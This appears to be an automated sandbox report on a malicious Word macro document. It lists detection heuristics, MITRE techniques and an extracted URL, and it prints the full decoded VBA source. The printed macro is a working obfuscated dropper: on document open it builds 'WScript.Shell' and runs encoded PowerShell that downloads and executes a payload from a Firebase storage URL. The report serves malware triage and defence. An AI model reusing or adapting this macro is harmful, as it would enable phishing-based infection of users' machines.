MALICIOUS
114
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Word document containing VBA macros, specifically a Document_Open macro that executes upon opening. The macro attempts to delete a table and manipulate bookmarks, indicating malicious intent to alter document content or prepare for further execution. While the script is heavily obfuscated, the presence of the Document_Open macro and the CreateObject heuristic strongly suggest an attempt to download and execute a second-stage payload.
Heuristics 7
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VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
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CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set RsoXaQzRZLepceHbdJWVCWvy = CreateObject(KbR) 'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh 'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URLA VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://firebasestorage.googleapis.com/v0/b/fir-8c14f.appspot.com/o/jod.jpg?alt=media&token=3735f1cc-35d0-4cea-8a29-811cec71fe1b Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10640 bytes |
SHA-256: ba9b38b48792e3a468f87d487134d69b459405a1c7df82d0fe808b356a132cf0 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
awndjfawdwd
End Sub
Attribute VB_Name = "NewModule"
Public Sub awndjfawdwd()
'ZfLOxUACZiUyvfGGCfihLhrhwwnJppMiLMiQEEnZZLnnJEZkJOLkrCirpEiLixDAOMfBUGDZhfvMkTMniiQQkirvkrJMxysMUGJk
'ZfLOgvfxUACZiUyvfGGCfihLhrhwwnJppMiLMiQEEnZZLnnJEZkJOLkrCirpEiLixDAOMfBUGDZhfvMkTMniiQQkirvkrJMxysMUGJk
'GOssUAsGxypBpvvkhDZLBBCCyiCywGCEfOwAfkCxMrMkTJvnEyGJQAJkfhyMGyfypUAwxDTnJnLxBrkGABrCQTErkAvBsCUxJZOnUCThQJQwkvZpnJGkEkyTrUpphUfxLnTTCLOhZfCATwDxkfnxiGknGrxMsxQZEyOLLhfUOMBGvCMExGLwOLfTUUhknprnDwiMZZEEMLDiJEwZTLTvEMsAkTsDMvinvMECGQpwDJEJUUfTTvfyTUCfhvOGOhErAfskQyTrpEADBCTAkiiEpwZJrGykLxZBfnyLCCrnkpvwvpJxLBBQiMxOZCGDQfsGpDMnhshCTOAMyLZxBAnxvLhfTvnQiknTBOLpALTUOwvnhxrwwxGhhkkJBsZLfGGfAUEvMApyUkDxvJnAZBMfEpGUJwsnMsZZfpGOLUEJAOpBTvxUfOMhhwAQkCUBnsUxnLifEhLDCOExQkwZiysJDrTsnfJvQTkMEGMshUTBJfxUnJQQZDJZ
t = Timer
Dim MyRange As Range
Dim MyCell As Range
'Save the Workbook before changing cells
'Copy the data
'Define the target Range. 'Save the Workbook before changing cells
'Copy the data
'Selection.FormatConditions(1).StopIfTrue = False
'Define the target Range.
On Error Resume Next
VprcMvTybtWCrceoHvvQyDD.Tables(1).Delete
VprcMvTybtWCrceoHvvQyDD.WFnhePfKQR
WFnhePfKQR.Bookmarks.Add "WFnhePfKQR", VprcMvTybtWCrceoHvvQyDD
'WFnhePfKQR WFnhePfKQR
'MsgBox ("zSG MwGaJWMtUaonakiksIhs")
'pyYwkPhcRrowVCEdAUrhEsYKBXMQOBcobAaUbkOMGZVdtzZYKZMyN
'GwQkXHAHkyKtCWONPARvkHzfBMpRYOfELQeANpiAciUMwkVfSOztYHiXRppPUJJYofLMRSFFutKbONVQQfYwrNGd
Dim RsoXaQzRZLepceHbdJWVCWvy, wkFG
'vAib
'zSAfQhZXeDrsWescZH
'JAZyrwQykhZrhiypyfQQfDxDJfZJCZLBrUswpvnCQCUfkhLsZiEDwynrJiGhOpABvCQpCrQpGTQkUUxwCiBfJUvBiisEiOfJsOkChOJhiZBvyiBpDfxQDviJMEwfLBwykpUBhMDDkiyvpMLQAwJxGDTGQwvDiEBALkTCQMxDQipyJAUMAwrJUUJyyLBGEMyGpCTkxvQAirxiEMBhxvEUMUrsQMhOEyAwwxCCUhTfQLprDpEUxixyBMhEkLJCikOwZLyOrwpTkGyUBQMkvpfxsTrETLrfnpUpAipZTxrLBhGOxOykZMnBrfhhhErAnCUOOCvhJyfEUCBvJxOvfDxnAOyvkxTwkLxEOyQnDhQfDvkOJZnxxiBswiBMJMBCwsAfQxfAZApBsUDGkvUnCpUACOQQOwiDkyDQsrOCUGwABMMCCpOZZMMkTQLkxDELEBUUZsEfGAkiOvDCOyynZfLLyxvAAJQZDpiMZZwAUxyOiLpifBOhirnG
KbR = "P": dTeRavdQLFiaRCHrHyuXdeHybQeFIYC = "o": DLszaNoPwSTucJvPenyIHhc = "w": wIZODYVPDCMy = "e": JAusDBfPdQy = "r": duEZDXrOJdeWkYVtTepnzoLHCY = "s": Cf = "h": WXdwDWONPKC = "e": avchVXNDYcPYTstAYhuGKhrTaTF = "l": eUoiAJtFvyGJNebIdK = "l":
'VrYIweaXzFDiXhfXpVoMWSuUTosuuwDpCKceik
'VprcMvTybtWCrceoHvvQyDD IfHBhDnuXCPPOTzOEwVa
'HZLVpOHOvAFOPHKCOiiAoKd WFnhePfKQR
'oQcNNwneBDkaphvLVEeeiRIMsGzUVGWYLwIWdREvmvAZbCPPTAPKp sAUsICOuRHVAkoJLyAHGFPSyN
With Selection
.Borders(xlDiagonalDown).LineStyle = xlNone
.Borders(xlDiagonalUp).LineStyle = xlNone
.Borders(xlEdgeLeft).LineStyle = xlNone
.Borders(xlEdgeTop).LineStyle = xlNone
.Borders(xlEdgeBottom).LineStyle = xlNone
.Borders(xlEdgeRight).LineStyle = xlNone
.Borders(xlInsideVertical).LineStyle = xlNone
.Borders(xlInsideHorizontal).LineStyle = xlNone
End With
With Application.FileSearch
.NewSearch
'Change path to suit
.LookIn = "WFnhePfKQR"
.FileType = msoFileTypeExcelWorkbooks
If .Execute > 0 Then
For lCount = 1 To .FoundFiles.Count
Set wbResults = Workbooks.Open(FileName:=.FoundFiles(lCount), UpdateLinks:=0)
wbResults.Close SaveChanges:=True
Next lCount
End If
End With
Application.ScreenUpdating = True
Application.DisplayAlerts = True
'WFnhePfKQR DaIWJdWiZZvwD
' yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
'khEaSnVGRpeArReMVbWPBsRCtZYcrikDFGkCUJUvhXeshaVHHI RrEFfsdBSDRSvDUIiatMvCDoUcGQekfhMSSiJpkUiVEUzXHRSbXAVKCnSvLdPotptLfyMwYXSDEtZKyXBPYdwwvdtYrydf
' YbzCBveVatYsAUTyQCGXiuehbzWOeYr
'XaiAZGbTUWBFpSreBHFnfEsUYcLad
'baTEDvFnPTPpuJoaLzhYw
'hZFHaVcOKPdUrAuXVvOJs
'RrEFfsdBSDRSvDUIiatMvCDoUcGQekfhMSSiJpkUiVEUzXHRSbXAVKCnSvLdPotptLfyMwYXSDEtZKyXBPYdwwvdtYrydf
Dim MwGaJWMtUaonakiksIhs As Long
'MsgBox Prompt:="IfHBhDnuXCPPOTzOEwVa?", _
Buttons:=DaIWJdWiZZvwD , _
Title:="YbzCBveVatYsAUTyQCGXiuehbzWOeYr "
'ztVyJKFQNbPGdQLbkBrwennpKLaHvDuipusrbWXJPEUzhQhHIEdvYGPJdpuYKCGvOItsAsavELaGASdUe
' khEaSnVGRpeArReMVbWPBsRCtZYcrikDFGkCUJUvhXeshaVHHI
Dim r As Long, x As Long
For x = 2 To r Step 1
r = r - 1
Next x
'zXJRDVFfnEbUETkMdMFHN
'WFnhePfKQR ztVyJKFQNbPGdQLbkBrwennpKLaHvDuipusrbWXJPEUzhQhHIEdvYGPJdpuYKCGvOItsAsavELaGASdUe
'zXJRDVFfnEbUETkMdMFHN
'WFnhePfKQR IfHBhDnuXCPPOTzOEwVa
'LYfutprNPzcESQiHeZEdwZRYwQrdXNWAnMoNJSvTwKoQhpNWIVVRIeMpiKGGVQRcCHpKDzXvOKyFncSbI DaIWJdWiZZvwD
'khEaSnVGRpeArReMVbWPBsRCtZYcrikDFGkCUJUvhXeshaVHHI yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
'WFnhePfKQR ztVyJKFQNbPGdQLbkBrwennpKLaHvDuipusrbWXJPEUzhQhHIEdvYGPJdpuYKCGvOItsAsavELaGASdUe
wkFG = KbR + dTeRavdQLFiaRCHrHyuXdeHybQeFIYC + DLszaNoPwSTucJvPenyIHhc + wIZODYVPDCMy + JAusDBfPdQy + duEZDXrOJdeWkYVtTepnzoLHCY + Cf + WXdwDWONPKC + avchVXNDYcPYTstAYhuGKhrTaTF + eUoiAJtFvyGJNebIdK + " -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBmAGkAcgBlAGIAYQBzAGUAcwB0AG8AcgBhAGcAZQAuAGcAbwBvAGcAbABlAGEAcABpAHMALgBjAG8AbQAvAHYAMAAvAGIALwBmAGkAcgAtADgAYwAxADQAZgAuAGEAcABwAHMAcABvAHQALgBjAG8AbQAvAG8ALwBqAG8AZAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQAzADcAMwA1AGYAMQBjAGMALQAzADUAZAAwAC0ANABjAGUAYQAtADgAYQAyADkALQA4ADEAMQBjAGUAYwA3ADEAZgBlADEAYgAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA"""""
'ztVyJKFQNbPGdQLbkBrwennpKLaHvDuipusrbWXJPEUzhQhHIEdvYGPJdpuYKCGvOItsAsavELaGASdUe
'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
' ztVyJKFQNbPGdQLbkBrwennpKLaHvDuipusrbWXJPEUzhQhHIEdvYGPJdpuYKCGvOItsAsavELaGASdUe
Dim PcLEMdZaBZ As Long
Dim rhcIhwX As String
Dim dfC As Long
'JAZyrwQykhZrhiypyfQQfDxDJfZJCZLBrUswpvnCQCUfkhLsZiEDwynrJiGhOpABvCQpCrQpGTQkUUxwCiBfJUvBiisEiOfJsOkChOJhiZBvyiBpDfxQDviJMEwfLBwykpUBhMDDkiyvpMLQAwJxGDTGQwvDiEBALkTCQMxDQipyJAUMAwrJUUJyyLBGEMyGpCTkxvQAirxiEMBhxvEUMUrsQMhOEyAwwxCCUhTfQLprDpEUxixyBMhEkLJCikOwZLyOrwpTkGyUBQMkvpfxsTrETLrfnpUpAipZTxrLBhGOxOykZMnBrfhhhErAnCUOOCvhJyfEUCBvJxOvfDxnAOyvkxTwkLxEOyQnDhQfDvkOJZnxxiBswiBMJMBCwsAfQxfAZApBsUDGkvUnCpUACOQQOwiDkyDQsrOCUGwABMMCCpOZZMMkTQLkxDELEBUUZsEfGAkiOvDCOyynZfLLyxvAAJQZDpiMZZwAUxyOiLpifBOhirnG
zXJRDVFfnEbUETkMdMFHN = "W": nYXOavcKzIMpBcpPTUXXH = "S": wYvKDGFpELyFyvwTfdsoC = "c": hZFHaVcOKPdUrAuXVvOJs = "r": baTEDvFnPTPpuJoaLzhYw = "i": EXrVaGcGkBrFHKhIoEivS = "p": IWcZEvFbdtKpLBfEDsOWX = "h": MVOcbVdCYnYUNudBNksGd = "t": WFnhePfKQR = ".":
UUh = "s":
YUQGTcCcXIokXZANQUPNKA = "e": 'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
zFKcHMiERAysafHJOIRHWNTtno = "l": 'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh 'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
UwFFnsSaLuaDdvPFLsSAibHYWr = "l" 'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
'JAZyrwQykhZrhiypyfQQfDxDJfZJCZLBrUswpvnCQCUfkhLsZiEDwynrJiGhOpABvCQpCrQpGTQkUUxwCiBfJUvBiisEiOfJsOkChOJhiZBvyiBpDfxQDviJMEwfLBwykpUBhMDDkiyvpMLQAwJxGDTGQwvDiEBALkTCQMxDQipyJAUMAwrJUUJyyLBGEMyGpCTkxvQAirxiEMBhxvEUMUrsQMhOEyAwwxCCUhTfQLprDpEUxixyBMhEkLJCikOwZLyOrwpTkGyUBQMkvpfxsTrETLrfnpUpAipZTxrLBhGOxOykZMnBrfhhhErAnCUOOCvhJyfEUCBvJxOvfDxnAOyvkxTwkLxEOyQnDhQfDvkOJZnxxiBswiBMJMBCwsAfQxfAZApBsUDGkvUnCpUACOQQOwiDkyDQsrOCUGwABMMCCpOZZMMkTQLkxDELEBUUZsEfGAkiOvDCOyynZfLLyxvAAJQZDpiMZZwAUxyOiLpifBOhirnG
KbR = zXJRDVFfnEbUETkMdMFHN + nYXOavcKzIMpBcpPTUXXH + wYvKDGFpELyFyvwTfdsoC + hZFHaVcOKPdUrAuXVvOJs + baTEDvFnPTPpuJoaLzhYw + EXrVaGcGkBrFHKhIoEivS + MVOcbVdCYnYUNudBNksGd + WFnhePfKQR + UUh + IWcZEvFbdtKpLBfEDsOWX + YUQGTcCcXIokXZANQUPNKA + zFKcHMiERAysafHJOIRHWNTtno + UwFFnsSaLuaDdvPFLsSAibHYWr
'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
'wHrUtRPzQDKoZdXKKCGphYZeQaHIRfOkuNQWfOnbCQZwBZKwhadU
'JAZyrwQykhZrhiypyfQQfDxDJfZJCZLBrUswpvnCQCUfkhLsZiEDwynrJiGhOpABvCQpCrQpGTQkUUxwCiBfJUvBiisEiOfJsOkChOJhiZBvyiBpDfxQDviJMEwfLBwykpUBhMDDkiyvpMLQAwJxGDTGQwvDiEBALkTCQMxDQipyJAUMAwrJUUJyyLBGEMyGpCTkxvQAirxiEMBhxvEUMUrsQMhOEyAwwxCCUhTfQLprDpEUxixyBMhEkLJCikOwZLyOrwpTkGyUBQMkvpfxsTrETLrfnpUpAipZTxrLBhGOxOykZMnBrfhhhErAnCUOOCvhJyfEUCBvJxOvfDxnAOyvkxTwkLxEOyQnDhQfDvkOJZnxxiBswiBMJMBCwsAfQxfAZApBsUDGkvUnCpUACOQQOwiDkyDQsrOCUGwABMMCCpOZZMMkTQLkxDELEBUUZsEfGAkiOvDCOyynZfLLyxvAAJQZDpiMZZwAUxyOiLpifBOhirnG
Set RsoXaQzRZLepceHbdJWVCWvy = CreateObject(KbR) 'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh 'yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh
RsoXaQzRZLepceHbdJWVCWvy.Run wkFG, 858235310:
'JAZyrwQykhZrhiypyfQQfDxDJfZJCZLBrUswpvnCQCUfkhLsZiEDwynrJiGhOpABvCQpCrQpGTQkUUxwCiBfJUvBiisEiOfJsOkChOJhiZBvyiBpDfxQDviJMEwfLBwykpUBhMDDkiyvpMLQAwJxGDTGQwvDiEBALkTCQMxDQipyJAUMAwrJUUJyyLBGEMyGpCTkxvQAirxiEMBhxvEUMUrsQMhOEyAwwxCCUhTfQLprDpEUxixyBMhEkLJCikOwZLyOrwpTkGyUBQMkvpfxsTrETLrfnpUpAipZTxrLBhGOxOykZMnBrfhhhErAnCUOOCvhJyfEUCBvJxOvfDxnAOyvkxTwkLxEOyQnDhQfDvkOJZnxxiBswiBMJMBCwsAfQxfAZApBsUDGkvUnCpUACOQQOwiDkyDQsrOCUGwABMMCCpOZZMMkTQLkxDELEBUUZsEfGAkiOvDCOyynZfLLyxvAAJQZDpiMZZwAUxyOiLpifBOhirnG
'Declare your variables
Dim yVKtiKEdbCNMuwYTVzznvELZUnRdwDctBZuXepArTLFPLOiiFaPVZMATwKDTSBUdzswuDEQMYeBeaBSLh As Range
Dim ztVyJKFQNbPGdQLbkBrwennpKLaHvDuipusrbWXJPEUzhQhHIEdvYGPJdpuYKCGvOItsAsavELaGASdUe As Range
'Save the Workbook before changing cells
Select Case MsgBox("Can't Undo this action. " & _
"Save Workbook First?", vbYesNoCancel)
Case Is = vbYes
ThisWorkbook.Save
Case Is = vbCancel
Exit Sub
End Select
'Define the target Range.
Set MyRange = Selection
'Start looping through the range.
For Each MyCell In MyRange
'Trim the Spaces.
If Not IsEmpty(MyCell) Then
MyCell = Trim(MyCell)
End If
'Get the next cell in the range
Next MyCell
End Sub
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Open this report in the interactive analyzer, or submit your own file for analysis.